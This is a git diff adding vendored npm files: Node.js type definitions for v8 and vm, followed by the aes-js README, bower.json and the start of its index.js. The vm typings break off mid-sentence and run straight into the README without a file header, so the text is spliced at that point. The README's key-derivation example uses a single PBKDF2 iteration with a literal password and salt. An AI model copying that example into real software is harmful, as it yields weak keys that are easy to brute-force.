a promise have been categorized into four areas: creation of a promise, before/after a continuation handler is called or + * around an await, and when the promise resolves or rejects. + * + * Because promises are asynchronous resources whose lifecycle is tracked via the promise hooks mechanism, the `init()`, `before()`, `after()`, and + * `settled()` callbacks must not be async functions as they create more promises which would produce an infinite loop. + * @since v17.1.0, v16.14.0 + */ + interface HookCallbacks { + init?: Init; + before?: Before; + after?: After; + settled?: Settled; + } + interface PromiseHooks { + /** + * The `init` hook must be a plain function. Providing an async function will throw as it would produce an infinite microtask loop. + * @since v17.1.0, v16.14.0 + * @param init The {@link Init | `init` callback} to call when a promise is created. + * @return Call to stop the hook. + */ + onInit: (init: Init) => Function; + /** + * The `settled` hook must be a plain function. Providing an async function will throw as it would produce an infinite microtask loop. + * @since v17.1.0, v16.14.0 + * @param settled The {@link Settled | `settled` callback} to call when a promise is created. + * @return Call to stop the hook. + */ + onSettled: (settled: Settled) => Function; + /** + * The `before` hook must be a plain function. Providing an async function will throw as it would produce an infinite microtask loop. + * @since v17.1.0, v16.14.0 + * @param before The {@link Before | `before` callback} to call before a promise continuation executes. + * @return Call to stop the hook. + */ + onBefore: (before: Before) => Function; + /** + * The `after` hook must be a plain function. Providing an async function will throw as it would produce an infinite microtask loop. + * @since v17.1.0, v16.14.0 + * @param after The {@link After | `after` callback} to call after a promise continuation executes. + * @return Call to stop the hook. + */ + onAfter: (after: After) => Function; + /** + * Registers functions to be called for different lifetime events of each promise. + * The callbacks `init()`/`before()`/`after()`/`settled()` are called for the respective events during a promise's lifetime. + * All callbacks are optional. For example, if only promise creation needs to be tracked, then only the init callback needs to be passed. + * The hook callbacks must be plain functions. Providing async functions will throw as it would produce an infinite microtask loop. + * @since v17.1.0, v16.14.0 + * @param callbacks The {@link HookCallbacks | Hook Callbacks} to register + * @return Used for disabling hooks + */ + createHook: (callbacks: HookCallbacks) => Function; + } + /** + * The `promiseHooks` interface can be used to track promise lifecycle events. + * @since v17.1.0, v16.14.0 + */ + const promiseHooks: PromiseHooks; + type StartupSnapshotCallbackFn = (args: any) => any; + interface StartupSnapshot { + /** + * Add a callback that will be called when the Node.js instance is about to get serialized into a snapshot and exit. + * This can be used to release resources that should not or cannot be serialized or to convert user data into a form more suitable for serialization. + * @since v18.6.0, v16.17.0 + */ + addSerializeCallback(callback: StartupSnapshotCallbackFn, data?: any): void; + /** + * Add a callback that will be called when the Node.js instance is deserialized from a snapshot. + * The `callback` and the `data` (if provided) will be serialized into the snapshot, they can be used to re-initialize the state of the application or + * to re-acquire resources that the application needs when the application is restarted from the snapshot. + * @since v18.6.0, v16.17.0 + */ + addDeserializeCallback(callback: StartupSnapshotCallbackFn, data?: any): void; + /** + * This sets the entry point of the Node.js application when it is deserialized from a snapshot. This can be called only once in the snapshot building script. + * If called, the deserialized application no longer needs an additional entry point script to start up and will simply invoke the callback along with the deserialized + * data (if provided), otherwise an entry point script still needs to be provided to the deserialized application. + * @since v18.6.0, v16.17.0 + */ + setDeserializeMainFunction(callback: StartupSnapshotCallbackFn, data?: any): void; + /** + * Returns true if the Node.js instance is run to build a snapshot. + * @since v18.6.0, v16.17.0 + */ + isBuildingSnapshot(): boolean; + } + /** + * The `v8.startupSnapshot` interface can be used to add serialization and deserialization hooks for custom startup snapshots. + * + * ```bash + * $ node --snapshot-blob snapshot.blob --build-snapshot entry.js + * # This launches a process with the snapshot + * $ node --snapshot-blob snapshot.blob + * ``` + * + * In the example above, `entry.js` can use methods from the `v8.startupSnapshot` interface to specify how to save information for custom objects + * in the snapshot during serialization and how the information can be used to synchronize these objects during deserialization of the snapshot. + * For example, if the `entry.js` contains the following script: + * + * ```js + * 'use strict'; + * + * import fs from 'node:fs'; + * import zlib from 'node:zlib'; + * import path from 'node:path'; + * import assert from 'node:assert'; + * + * import v8 from 'node:v8'; + * + * class BookShelf { + * storage = new Map(); + * + * // Reading a series of files from directory and store them into storage. + * constructor(directory, books) { + * for (const book of books) { + * this.storage.set(book, fs.readFileSync(path.join(directory, book))); + * } + * } + * + * static compressAll(shelf) { + * for (const [ book, content ] of shelf.storage) { + * shelf.storage.set(book, zlib.gzipSync(content)); + * } + * } + * + * static decompressAll(shelf) { + * for (const [ book, content ] of shelf.storage) { + * shelf.storage.set(book, zlib.gunzipSync(content)); + * } + * } + * } + * + * // __dirname here is where the snapshot script is placed + * // during snapshot building time. + * const shelf = new BookShelf(__dirname, [ + * 'book1.en_US.txt', + * 'book1.es_ES.txt', + * 'book2.zh_CN.txt', + * ]); + * + * assert(v8.startupSnapshot.isBuildingSnapshot()); + * // On snapshot serialization, compress the books to reduce size. + * v8.startupSnapshot.addSerializeCallback(BookShelf.compressAll, shelf); + * // On snapshot deserialization, decompress the books. + * v8.startupSnapshot.addDeserializeCallback(BookShelf.decompressAll, shelf); + * v8.startupSnapshot.setDeserializeMainFunction((shelf) => { + * // process.env and process.argv are refreshed during snapshot + * // deserialization. + * const lang = process.env.BOOK_LANG || 'en_US'; + * const book = process.argv[1]; + * const name = `${book}.${lang}.txt`; + * console.log(shelf.storage.get(name)); + * }, shelf); + * ``` + * + * The resulted binary will get print the data deserialized from the snapshot during start up, using the refreshed `process.env` and `process.argv` of the launched process: + * + * ```bash + * $ BOOK_LANG=es_ES node --snapshot-blob snapshot.blob book1 + * # Prints content of book1.es_ES.txt deserialized from the snapshot. + * ``` + * + * Currently the application deserialized from a user-land snapshot cannot be snapshotted again, so these APIs are only available to applications that are not deserialized from a user-land snapshot. + * + * @experimental + * @since v18.6.0, v16.17.0 + */ + const startupSnapshot: StartupSnapshot; +} +declare module "node:v8" { + export * from "v8"; +} diff --git a/node_modules/@types/node/vm.d.ts b/node_modules/@types/node/vm.d.ts new file mode 100644 index 000000000000..9d9ff1ac6659 --- /dev/null +++ b/node_modules/@types/node/vm.d.ts @@ -0,0 +1,922 @@ +/** + * The `node:vm` module enables compiling and running code within V8 Virtual + * Machine contexts. + * + * **The `node:vm` module is not a security** + * **mechanism. Do not use it to run untrusted code.** + * + * JavaScript code can be compiled and run immediately or + * compiled, saved, and run later. + * + * A common use case is to run the code in a different V8 Context. This means + * invoked code has a different global object than the invoking code. + * + * One can provide the context by `contextifying` an + * object. The invoked code treats any property in the context like a + * global variable. Any changes to global variables caused by the invoked + * code are reflected in the context object. + * + * ```js + * import vm from 'node:vm'; + * + * const x = 1; + * + * const context = { x: 2 }; + * vm.createContext(context); // Contextify the object. + * + * const code = 'x += 40; var y = 17;'; + * // `x` and `y` are global variables in the context. + * // Initially, x has the value 2 because that is the value of context.x. + * vm.runInContext(code, context); + * + * console.log(context.x); // 42 + * console.log(context.y); // 17 + * + * console.log(x); // 1; y is not defined. + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/vm.js) + */ +declare module "vm" { + import { ImportAttributes } from "node:module"; + interface Context extends NodeJS.Dict {} + interface BaseOptions { + /** + * Specifies the filename used in stack traces produced by this script. + * @default '' + */ + filename?: string | undefined; + /** + * Specifies the line number offset that is displayed in stack traces produced by this script. + * @default 0 + */ + lineOffset?: number | undefined; + /** + * Specifies the column number offset that is displayed in stack traces produced by this script. + * @default 0 + */ + columnOffset?: number | undefined; + } + interface ScriptOptions extends BaseOptions { + /** + * V8's code cache data for the supplied source. + */ + cachedData?: Buffer | NodeJS.ArrayBufferView | undefined; + /** @deprecated in favor of `script.createCachedData()` */ + produceCachedData?: boolean | undefined; + /** + * Used to specify how the modules should be loaded during the evaluation of this script when `import()` is called. This option is + * part of the experimental modules API. We do not recommend using it in a production environment. For detailed information, see + * [Support of dynamic `import()` in compilation APIs](https://nodejs.org/docs/latest-v22.x/api/vm.html#support-of-dynamic-import-in-compilation-apis). + */ + importModuleDynamically?: + | ((specifier: string, script: Script, importAttributes: ImportAttributes) => Module) + | typeof constants.USE_MAIN_CONTEXT_DEFAULT_LOADER + | undefined; + } + interface RunningScriptOptions extends BaseOptions { + /** + * When `true`, if an `Error` occurs while compiling the `code`, the line of code causing the error is attached to the stack trace. + * @default true + */ + displayErrors?: boolean | undefined; + /** + * Specifies the number of milliseconds to execute code before terminating execution. + * If execution is terminated, an `Error` will be thrown. This value must be a strictly positive integer. + */ + timeout?: number | undefined; + /** + * If `true`, the execution will be terminated when `SIGINT` (Ctrl+C) is received. + * Existing handlers for the event that have been attached via `process.on('SIGINT')` will be disabled during script execution, but will continue to work after that. + * If execution is terminated, an `Error` will be thrown. + * @default false + */ + breakOnSigint?: boolean | undefined; + } + interface RunningScriptInNewContextOptions extends RunningScriptOptions { + /** + * Human-readable name of the newly created context. + */ + contextName?: CreateContextOptions["name"]; + /** + * Origin corresponding to the newly created context for display purposes. The origin should be formatted like a URL, + * but with only the scheme, host, and port (if necessary), like the value of the `url.origin` property of a `URL` object. + * Most notably, this string should omit the trailing slash, as that denotes a path. + */ + contextOrigin?: CreateContextOptions["origin"]; + contextCodeGeneration?: CreateContextOptions["codeGeneration"]; + /** + * If set to `afterEvaluate`, microtasks will be run immediately after the script has run. + */ + microtaskMode?: CreateContextOptions["microtaskMode"]; + } + interface RunningCodeOptions extends RunningScriptOptions { + cachedData?: ScriptOptions["cachedData"]; + importModuleDynamically?: ScriptOptions["importModuleDynamically"]; + } + interface RunningCodeInNewContextOptions extends RunningScriptInNewContextOptions { + cachedData?: ScriptOptions["cachedData"]; + importModuleDynamically?: ScriptOptions["importModuleDynamically"]; + } + interface CompileFunctionOptions extends BaseOptions { + /** + * Provides an optional data with V8's code cache data for the supplied source. + */ + cachedData?: Buffer | undefined; + /** + * Specifies whether to produce new cache data. + * @default false + */ + produceCachedData?: boolean | undefined; + /** + * The sandbox/context in which the said function should be compiled in. + */ + parsingContext?: Context | undefined; + /** + * An array containing a collection of context extensions (objects wrapping the current scope) to be applied while compiling + */ + contextExtensions?: Object[] | undefined; + } + interface CreateContextOptions { + /** + * Human-readable name of the newly created context. + * @default 'VM Context i' Where i is an ascending numerical index of the created context. + */ + name?: string | undefined; + /** + * Corresponds to the newly created context for display purposes. + * The origin should be formatted like a `URL`, but with only the scheme, host, and port (if necessary), + * like the value of the `url.origin` property of a URL object. + * Most notably, this string should omit the trailing slash, as that denotes a path. + * @default '' + */ + origin?: string | undefined; + codeGeneration?: + | { + /** + * If set to false any calls to eval or function constructors (Function, GeneratorFunction, etc) + * will throw an EvalError. + * @default true + */ + strings?: boolean | undefined; + /** + * If set to false any attempt to compile a WebAssembly module will throw a WebAssembly.CompileError. + * @default true + */ + wasm?: boolean | undefined; + } + | undefined; + /** + * If set to `afterEvaluate`, microtasks will be run immediately after the script has run. + */ + microtaskMode?: "afterEvaluate" | undefined; + } + type MeasureMemoryMode = "summary" | "detailed"; + interface MeasureMemoryOptions { + /** + * @default 'summary' + */ + mode?: MeasureMemoryMode | undefined; + /** + * @default 'default' + */ + execution?: "default" | "eager" | undefined; + } + interface MemoryMeasurement { + total: { + jsMemoryEstimate: number; + jsMemoryRange: [number, number]; + }; + } + /** + * Instances of the `vm.Script` class contain precompiled scripts that can be + * executed in specific contexts. + * @since v0.3.1 + */ + class Script { + constructor(code: string, options?: ScriptOptions | string); + /** + * Runs the compiled code contained by the `vm.Script` object within the given `contextifiedObject` and returns the result. Running code does not have access + * to local scope. + * + * The following example compiles code that increments a global variable, sets + * the value of another global variable, then execute the code multiple times. + * The globals are contained in the `context` object. + * + * ```js + * import vm from 'node:vm'; + * + * const context = { + * animal: 'cat', + * count: 2, + * }; + * + * const script = new vm.Script('count += 1; name = "kitty";'); + * + * vm.createContext(context); + * for (let i = 0; i < 10; ++i) { + * script.runInContext(context); + * } + * + * console.log(context); + * // Prints: { animal: 'cat', count: 12, name: 'kitty' } + * ``` + * + * Using the `timeout` or `breakOnSigint` options will result in new event loops + * and corresponding threads being started, which have a non-zero performance + * overhead. + * @since v0.3.1 + * @param contextifiedObject A `contextified` object as returned by the `vm.createContext()` method. + * @return the result of the very last statement executed in the script. + */ + runInContext(contextifiedObject: Context, options?: RunningScriptOptions): any; + /** + * First contextifies the given `contextObject`, runs the compiled code contained + * by the `vm.Script` object within the created context, and returns the result. + * Running code does not have access to local scope. + * + * The following example compiles code that sets a global variable, then executes + * the code multiple times in different contexts. The globals are set on and + * contained within each individual `context`. + * + * ```js + * import vm from 'node:vm'; + * + * const script = new vm.Script('globalVar = "set"'); + * + * const contexts = [{}, {}, {}]; + * contexts.forEach((context) => { + * script.runInNewContext(context); + * }); + * + * console.log(contexts); + * // Prints: [{ globalVar: 'set' }, { globalVar: 'set' }, { globalVar: 'set' }] + * ``` + * @since v0.3.1 + * @param contextObject An object that will be `contextified`. If `undefined`, a new object will be created. + * @return the result of the very last statement executed in the script. + */ + runInNewContext(contextObject?: Context, options?: RunningScriptInNewContextOptions): any; + /** + * Runs the compiled code contained by the `vm.Script` within the context of the + * current `global` object. Running code does not have access to local scope, but _does_ have access to the current `global` object. + * + * The following example compiles code that increments a `global` variable then + * executes that code multiple times: + * + * ```js + * import vm from 'node:vm'; + * + * global.globalVar = 0; + * + * const script = new vm.Script('globalVar += 1', { filename: 'myfile.vm' }); + * + * for (let i = 0; i < 1000; ++i) { + * script.runInThisContext(); + * } + * + * console.log(globalVar); + * + * // 1000 + * ``` + * @since v0.3.1 + * @return the result of the very last statement executed in the script. + */ + runInThisContext(options?: RunningScriptOptions): any; + /** + * Creates a code cache that can be used with the `Script` constructor's `cachedData` option. Returns a `Buffer`. This method may be called at any + * time and any number of times. + * + * The code cache of the `Script` doesn't contain any JavaScript observable + * states. The code cache is safe to be saved along side the script source and + * used to construct new `Script` instances multiple times. + * + * Functions in the `Script` source can be marked as lazily compiled and they are + * not compiled at construction of the `Script`. These functions are going to be + * compiled when they are invoked the first time. The code cache serializes the + * metadata that V8 currently knows about the `Script` that it can use to speed up + * future compilations. + * + * ```js + * const script = new vm.Script(` + * function add(a, b) { + * return a + b; + * } + * + * const x = add(1, 2); + * `); + * + * const cacheWithoutAdd = script.createCachedData(); + * // In `cacheWithoutAdd` the function `add()` is marked for full compilation + * // upon invocation. + * + * script.runInThisContext(); + * + * const cacheWithAdd = script.createCachedData(); + * // `cacheWithAdd` contains fully compiled function `add()`. + * ``` + * @since v10.6.0 + */ + createCachedData(): Buffer; + /** @deprecated in favor of `script.createCachedData()` */ + cachedDataProduced?: boolean | undefined; + /** + * When `cachedData` is supplied to create the `vm.Script`, this value will be set + * to either `true` or `false` depending on acceptance of the data by V8. + * Otherwise the value is `undefined`. + * @since v5.7.0 + */ + cachedDataRejected?: boolean | undefined; + cachedData?: Buffer | undefined; + /** + * When the script is compiled from a source that contains a source map magic + * comment, this property will be set to the URL of the source map. + * + * ```js + * import vm from 'node:vm'; + * + * const script = new vm.Script(` + * function myFunc() {} + * //# sourceMappingURL=sourcemap.json + * `); + * + * console.log(script.sourceMapURL); + * // Prints: sourcemap.json + * ``` + * @since v19.1.0, v18.13.0 + */ + sourceMapURL?: string | undefined; + } + /** + * If given a `contextObject`, the `vm.createContext()` method will + * [prepare that object](https://nodejs.org/docs/latest-v22.x/api/vm.html#what-does-it-mean-to-contextify-an-object) + * and return a reference to it so that it can be used in `{@link runInContext}` or + * [`script.runInContext()`](https://nodejs.org/docs/latest-v22.x/api/vm.html#scriptrunincontextcontextifiedobject-options). Inside such + * scripts, the `contextObject` will be the global object, retaining all of its + * existing properties but also having the built-in objects and functions any + * standard [global object](https://es5.github.io/#x15.1) has. Outside of scripts run by the vm module, global + * variables will remain unchanged. + * + * ```js + * import vm from 'node:vm'; + * + * global.globalVar = 3; + * + * const context = { globalVar: 1 }; + * vm.createContext(context); + * + * vm.runInContext('globalVar *= 2;', context); + * + * console.log(context); + * // Prints: { globalVar: 2 } + * + * console.log(global.globalVar); + * // Prints: 3 + * ``` + * + * If `contextObject` is omitted (or passed explicitly as `undefined`), a new, + * empty `contextified` object will be returned. + * + * The `vm.createContext()` method is primarily useful for creating a single + * context that can be used to run multiple scripts. For instance, if emulating a + * web browser, the method can be used to create a single context representing a + * window's global object, then run all ` +``` + +Keys +---- + +All keys must be 128 bits (16 bytes), 192 bits (24 bytes) or 256 bits (32 bytes) long. + +The library work with `Array`, `Uint8Array` and `Buffer` objects as well as any *array-like* object (i.e. must have a `length` property, and have a valid byte value for each entry). + +```javascript +// 128-bit, 192-bit and 256-bit keys +var key_128 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]; +var key_192 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 20, 21, 22, 23]; +var key_256 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, + 29, 30, 31]; + +// or, you may use Uint8Array: +var key_128_array = new Uint8Array(key_128); +var key_192_array = new Uint8Array(key_192); +var key_256_array = new Uint8Array(key_256); + +// or, you may use Buffer in node.js: +var key_128_buffer = Buffer.from(key_128); +var key_192_buffer = Buffer.from(key_192); +var key_256_buffer = Buffer.from(key_256); +``` + + +To generate keys from simple-to-remember passwords, consider using a password-based key-derivation function such as [scrypt](https://www.npmjs.com/package/scrypt-js) or [bcrypt](https://www.npmjs.com/search?q=bcrypt). + + +Common Modes of Operation +------------------------- + +There are several modes of operations, each with various pros and cons. In general though, the **CBC** and **CTR** modes are recommended. The **ECB is NOT recommended.**, and is included primarily for completeness. + +### CTR - Counter (recommended) + +```javascript +// An example 128-bit key (16 bytes * 8 bits/byte = 128 bits) +var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; + +// Convert text to bytes +var text = 'Text may be any length you wish, no padding is required.'; +var textBytes = aesjs.utils.utf8.toBytes(text); + +// The counter is optional, and if omitted will begin at 1 +var aesCtr = new aesjs.ModeOfOperation.ctr(key, new aesjs.Counter(5)); +var encryptedBytes = aesCtr.encrypt(textBytes); + +// To print or store the binary data, you may convert it to hex +var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); +console.log(encryptedHex); +// "a338eda3874ed884b6199150d36f49988c90f5c47fe7792b0cf8c7f77eeffd87 +// ea145b73e82aefcf2076f881c88879e4e25b1d7b24ba2788" + +// When ready to decrypt the hex string, convert it back to bytes +var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); + +// The counter mode of operation maintains internal state, so to +// decrypt a new instance must be instantiated. +var aesCtr = new aesjs.ModeOfOperation.ctr(key, new aesjs.Counter(5)); +var decryptedBytes = aesCtr.decrypt(encryptedBytes); + +// Convert our bytes back into text +var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); +console.log(decryptedText); +// "Text may be any length you wish, no padding is required." +``` + + +### CBC - Cipher-Block Chaining (recommended) + +```javascript +// An example 128-bit key +var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; + +// The initialization vector (must be 16 bytes) +var iv = [ 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34,35, 36 ]; + +// Convert text to bytes (text must be a multiple of 16 bytes) +var text = 'TextMustBe16Byte'; +var textBytes = aesjs.utils.utf8.toBytes(text); + +var aesCbc = new aesjs.ModeOfOperation.cbc(key, iv); +var encryptedBytes = aesCbc.encrypt(textBytes); + +// To print or store the binary data, you may convert it to hex +var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); +console.log(encryptedHex); +// "104fb073f9a131f2cab49184bb864ca2" + +// When ready to decrypt the hex string, convert it back to bytes +var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); + +// The cipher-block chaining mode of operation maintains internal +// state, so to decrypt a new instance must be instantiated. +var aesCbc = new aesjs.ModeOfOperation.cbc(key, iv); +var decryptedBytes = aesCbc.decrypt(encryptedBytes); + +// Convert our bytes back into text +var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); +console.log(decryptedText); +// "TextMustBe16Byte" +``` + + +### CFB - Cipher Feedback + +```javascript +// An example 128-bit key +var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; + +// The initialization vector (must be 16 bytes) +var iv = [ 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34,35, 36 ]; + +// Convert text to bytes (must be a multiple of the segment size you choose below) +var text = 'TextMustBeAMultipleOfSegmentSize'; +var textBytes = aesjs.utils.utf8.toBytes(text); + +// The segment size is optional, and defaults to 1 +var segmentSize = 8; +var aesCfb = new aesjs.ModeOfOperation.cfb(key, iv, segmentSize); +var encryptedBytes = aesCfb.encrypt(textBytes); + +// To print or store the binary data, you may convert it to hex +var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); +console.log(encryptedHex); +// "55e3af2638c560b4fdb9d26a630733ea60197ec23deb85b1f60f71f10409ce27" + +// When ready to decrypt the hex string, convert it back to bytes +var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); + +// The cipher feedback mode of operation maintains internal state, +// so to decrypt a new instance must be instantiated. +var aesCfb = new aesjs.ModeOfOperation.cfb(key, iv, 8); +var decryptedBytes = aesCfb.decrypt(encryptedBytes); + +// Convert our bytes back into text +var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); +console.log(decryptedText); +// "TextMustBeAMultipleOfSegmentSize" +``` + + +### OFB - Output Feedback + +```javascript +// An example 128-bit key +var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; + +// The initialization vector (must be 16 bytes) +var iv = [ 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34,35, 36 ]; + +// Convert text to bytes +var text = 'Text may be any length you wish, no padding is required.'; +var textBytes = aesjs.utils.utf8.toBytes(text); + +var aesOfb = new aesjs.ModeOfOperation.ofb(key, iv); +var encryptedBytes = aesOfb.encrypt(textBytes); + +// To print or store the binary data, you may convert it to hex +var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); +console.log(encryptedHex); +// "55e3af2655dd72b9f32456042f39bae9accff6259159e608be55a1aa313c598d +// b4b18406d89c83841c9d1af13b56de8eda8fcfe9ec8e75e8" + +// When ready to decrypt the hex string, convert it back to bytes +var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); + +// The output feedback mode of operation maintains internal state, +// so to decrypt a new instance must be instantiated. +var aesOfb = new aesjs.ModeOfOperation.ofb(key, iv); +var decryptedBytes = aesOfb.decrypt(encryptedBytes); + +// Convert our bytes back into text +var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); +console.log(decryptedText); +// "Text may be any length you wish, no padding is required." +``` + + +### ECB - Electronic Codebook (NOT recommended) + +This mode is **not** recommended. Since, for a given key, the same plaintext block in produces the same ciphertext block out, this mode of operation can leak data, such as patterns. For more details and examples, see the Wikipedia article, [Electronic Codebook](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_.28ECB.29). + +```javascript +// An example 128-bit key +var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; + +// Convert text to bytes +var text = 'TextMustBe16Byte'; +var textBytes = aesjs.utils.utf8.toBytes(text); + +var aesEcb = new aesjs.ModeOfOperation.ecb(key); +var encryptedBytes = aesEcb.encrypt(textBytes); + +// To print or store the binary data, you may convert it to hex +var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); +console.log(encryptedHex); +// "a7d93b35368519fac347498dec18b458" + +// When ready to decrypt the hex string, convert it back to bytes +var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); + +// Since electronic codebook does not store state, we can +// reuse the same instance. +//var aesEcb = new aesjs.ModeOfOperation.ecb(key); +var decryptedBytes = aesEcb.decrypt(encryptedBytes); + +// Convert our bytes back into text +var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); +console.log(decryptedText); +// "TextMustBe16Byte" +``` + + + +Block Cipher +------------ + +You should usually use one of the above common modes of operation. Using the block cipher algorithm directly is also possible using **ECB** as that mode of operation is merely a thin wrapper. + +But this might be useful to experiment with custom modes of operation or play with block cipher algorithms. + +```javascript + +// the AES block cipher algorithm works on 16 byte bloca ks, no more, no less +var text = "ABlockIs16Bytes!"; +var textAsBytes = aesjs.utils.utf8.toBytes(text) +console.log(textAsBytes); +// [65, 66, 108, 111, 99, 107, 73, 115, 49, 54, 66, 121, 116, 101, 115, 33] + +// create an instance of the block cipher algorithm +var key = [3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5, 8, 9, 7, 9, 3]; +var aes = new aesjs.AES(key); + +// encrypt... +var encryptedBytes = aes.encrypt(textAsBytes); +console.log(encryptedBytes); +// [136, 15, 199, 174, 118, 133, 233, 177, 143, 47, 42, 211, 96, 55, 107, 109] + +// To print or store the binary data, you may convert it to hex +var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); +console.log(encryptedHex); +// "880fc7ae7685e9b18f2f2ad360376b6d" + +// When ready to decrypt the hex string, convert it back to bytes +var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); + +// decrypt... +var decryptedBytes = aes.decrypt(encryptedBytes); +console.log(decryptedBytes); +// [65, 66, 108, 111, 99, 107, 73, 115, 49, 54, 66, 121, 116, 101, 115, 33] + + +// decode the bytes back into our original text +var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); +console.log(decryptedText); +// "ABlockIs16Bytes!" +``` + + +Notes +===== + +What is a Key +------------- + +This seems to be a point of confusion for many people new to using encryption. You can think of the key as the *"password"*. However, these algorithms require the *"password"* to be a specific length. + +With AES, there are three possible key lengths, 128-bit (16 bytes), 192-bit (24 bytes) or 256-bit (32 bytes). When you create an AES object, the key size is automatically detected, so it is important to pass in a key of the correct length. + +Often, you wish to provide a password of arbitrary length, for example, something easy to remember or write down. In these cases, you must come up with a way to transform the password into a key of a specific length. A **Password-Based Key Derivation Function** (PBKDF) is an algorithm designed for this exact purpose. + +Here is an example, using the popular (possibly obsolete?) pbkdf2: + +```javascript +var pbkdf2 = require('pbkdf2'); + +var key_128 = pbkdf2.pbkdf2Sync('password', 'salt', 1, 128 / 8, 'sha512'); +var key_192 = pbkdf2.pbkdf2Sync('password', 'salt', 1, 192 / 8, 'sha512'); +var key_256 = pbkdf2.pbkdf2Sync('password', 'salt', 1, 256 / 8, 'sha512'); +``` + +Another possibility, is to use a hashing function, such as SHA256 to hash the password, but this method is vulnerable to [Rainbow Attacks](http://en.wikipedia.org/wiki/Rainbow_table), unless you use a [salt](http://en.wikipedia.org/wiki/Salt_(cryptography)). + +Performance +----------- + +Todo... + +Tests +----- + +A test suite has been generated (`test/test-vectors.json`) from a known correct implementation, [pycrypto](https://www.dlitz.net/software/pycrypto/). To generate new test vectors, run `python generate-tests.py`. + +To run the node.js test suite: + +``` +npm test +``` + +To run the web browser tests, open the `test/test.html` file in your browser. + +FAQ +--- + +#### How do I get a question I have added? + +E-mail me at aes-js@ricmoo.com with any questions, suggestions, comments, et cetera. + + +Donations +--------- + +Obviously, it's all licensed under the MIT license, so use it as you wish; but if you'd like to buy me a coffee, I won't complain. =) + +- Bitcoin - `1K1Ax9t6uJmjE4X5xcoVuyVTsiLrYRqe2P` +- Ethereum - `0x70bDC274028F3f391E398dF8e3977De64FEcBf04` diff --git a/node_modules/aes-js/aes-js-4.0.0-beta.4.tgz b/node_modules/aes-js/aes-js-4.0.0-beta.4.tgz new file mode 100644 index 000000000000..b5f5104b08e8 Binary files /dev/null and b/node_modules/aes-js/aes-js-4.0.0-beta.4.tgz differ diff --git a/node_modules/aes-js/bower.json b/node_modules/aes-js/bower.json new file mode 100644 index 000000000000..63b313d3c40b --- /dev/null +++ b/node_modules/aes-js/bower.json @@ -0,0 +1,32 @@ +{ + "name": "aes-js", + "description": "A pure JavaScript implementation of the AES block cipher and all common modes of operation.", + "main": "index.js", + "authors": [ + "Richard Moore " + ], + "license": "MIT", + "keywords": [ + "aes", + "aes-ctr", + "aes-ofb", + "aes-ecb", + "aes-cbc", + "aes-cfb", + "encrypt", + "decrypt", + "block", + "cipher" + ], + "homepage": "https://github.com/ricmoo/aes-js", + "moduleType": [ + "globals" + ], + "ignore": [ + "**/.*", + "node_modules", + "bower_components", + "test", + "tests" + ] +} diff --git a/node_modules/aes-js/index.js b/node_modules/aes-js/index.js new file mode 100644 index 000000000000..61fcc000f0c9 --- /dev/null +++ b/node_modules/aes-js/index.js @@ -0,0 +1,803 @@ +/*! MIT License. Copyright 2015-2018 Richard Moore . See LICENSE.txt. */ +(function(root) { + "use strict"; + + function checkInt(value) { + return (parseInt(value) === value); + } + + function checkInts(arrayish) { + if (!checkInt(arrayish.length)) { return false; } + + for (var i = 0; i < arrayish.length; i++) { + if (!checkInt(arrayish[i]) || arrayish[i] < 0 || arrayish[i] > 255) { + return false; + } + } + + return true; + } + + function coerceArray(arg, copy) { + + // ArrayBuffer view + if (arg.buffer && arg.name === 'Uint8Array') { + + if (copy) { + if (arg.slice) { + arg = arg.slice(); + } else { + arg = Array.prototype.slice.call(arg); + } + } + + return arg; + } + + // It's an array; check it is a valid representation of a byte + if (Array.isArray(arg)) { + if (!checkInts(arg)) { + throw new Error('Array contains invalid value: ' + arg); + } + + return new Uint8Array(arg); + } + + // Something else, but behaves like an array (maybe a Buffer? Arguments?) + if (checkInt(arg.length) && checkInts(arg)) { + return new Uint8Array(arg); + } + + throw new Error('unsupported array-like object'); + } + + function createArray(length) { + return new Uint8Array(length); + } + + function copyArray(sourceArray, targetArray, targetStart, sourceStart, sourceEnd) { + if (sourceStart != null || sourceEnd != null) { + if (sourceArray.slice) { + sourceArray = sourceArray.slice(sourceStart, sourceEnd); + } else { + sourceArray = Array.prototype.slice.call(sourceArray, sourceStart, sourceEnd); + } + } + 